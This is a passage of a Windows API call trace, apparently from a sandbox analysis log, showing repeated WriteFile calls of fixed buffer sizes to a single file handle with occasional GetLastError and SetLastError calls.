[0094.857] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.857] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.884] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.884] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.911] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.911] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.937] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.937] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.966] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.968] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.993] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.994] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0095.020] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0095.020] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0095.167] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0095.167] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0095.237] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0095.237] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0095.262] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0095.263] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0095.290] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0095.290] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0095.324] GetLastError () returned 0x0
[0095.324] SetLastError (dwErrCode=0x0)
[0095.324] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0095.324] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0095.350] GetLastError () returned 0x0
[0095.350] SetLastError (dwErrCode=0x0)
[0095.350] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0095.350] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0095.376] GetLastError () returned 0x0
[0095.376] SetLastError (dwErrCode=0x0)
[0095.376] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0095.380] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0095.406] GetLastError () returned 0x0
[0095.406] SetLastError (dwErrCode=0x0)
[0095.406] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0095.406] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0095.433] GetLastError () returned 0x0
[0095.433] SetLastError (dwErrCode=0x0)
[0095.433] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0095.434] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0095.463] GetLastError () returned 0x0
[0095.463] SetLastError (dwErrCode=0x0)
[0095.463] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0095.463] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0095.539] GetLastError () returned 0x0
[0095.540] SetLastError (dwErrCode=0x0)
[0095.540] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0095.540] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0095.567] GetLastError () returned 0x0
[0095.567] SetLastError (dwErrCode=0x0)
[0095.567] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0095.567] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0095.635] GetLastError () returned 0x0
[0095.636] SetLastError (dwErrCode=0x0)
[0095.636] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0095.636] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0095.662] GetLastError () returned 0x0
[0095.662] SetLastError (dwErrCode=0x0)
[0095.662] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0095.662] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0095.692] GetLastError () returned 0x0
[0095.692] SetLastError (dwErrCode=0x0)
[0095.692] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0095.693] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0095.725] GetLastError () returned 0x0
[0095.725] SetLastError (dwErrCode=0x0)
[0095.726] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0095.726] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0095.751] GetLastError () returned 0x0
[0095.751] SetLastError (dwErrCode=0x0)
[0095.751] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0095.752] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0095.799] GetLastError () returned 0x0
[0095.799] SetLastError (dwErrCode=0x0)
[0095.799] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0095.800] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0095.826] GetLastError () returned 0x0
[0095.827] SetLastError (dwErrCode=0x0)
[0095.827] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0095.827] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0095.853] GetLastError () returned 0x0
[0095.854] SetLastError (dwErrCode=0x0)
[0095.854] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0095.854] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0095.880] GetLastError () returned 0x0
[0095.880] SetLastError (dwErrCode=0x0)
[0095.880] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0095.880] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0096.111] GetLastError () returned 0x0
[0096.112] SetLastError (dwErrCode=0x0)
[0096.112] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0096.112] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0096.288] GetLastError () returned 0x0
[0096.288] SetLastError (dwErrCode=0x0)
[0096.288] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0096.288] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0096.360] GetLastError () returned 0x0
[0096.360] SetLastError (dwErrCode=0x0)
[0096.361] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0096.361] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0096.387] GetLastError () returned 0x0
[0096.387] SetLastError (dwErrCode=0x0)
[0096.387] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0096.387] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0096.460] GetLastError () returned 0x0
[0096.460] SetLastError (dwErrCode=0x0)
[0096.460] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0096.461] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0096.490] GetLastError () returned 0x0
[0096.490] SetLastError (dwErrCode=0x0)
[0096.490] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0096.491] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0096.524] GetLastError () returned 0x0
[0096.524] SetLastError (dwErrCode=0x0)
[0096.524] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0096.524] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0096.545] GetLastError () returned 0x0
[0096.546] SetLastError (dwErrCode=0x0)
[0096.546] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0096.546] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0096.571] GetLastError () returned 0x0
[0096.571] SetLastError (dwErrCode=0x0)
[0096.571] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0096.572] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0096.600] GetLastError () returned 0x0
[0096.600] SetLastError (dwErrCode=0x0)
[0096.600] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0096.601] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0096.625] GetLastError () returned 0x0
[0096.625] SetLastError (dwErrCode=0x0)
[0096.626] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0096.626] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0096.721] GetLastError () returned 0x0
[0096.721] SetLastError (dwErrCode=0x0)
[0096.721] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0096.722] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0096.794] GetLastError () returned 0x0
[0096.794] SetLastError (dwErrCode=0x0)
[0096.794] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0096.794] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0096.822] GetLastError () returned 0x0
[0096.822] SetLastError (dwErrCode=0x0)
[0096.823] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0096.823] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0096.851] GetLastError () returned 0x0
[0096.851] SetLastError (dwErrCode=0x0)
[0096.851] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0096.851] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0096.877] GetLastError () returned 0x0
[0096.877] SetLastError (dwErrCode=0x0)
[0096.877] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0096.877] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0096.908] GetLastError () returned 0x0
[0096.908] SetLastError (dwErrCode=0x0)
[0096.908] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
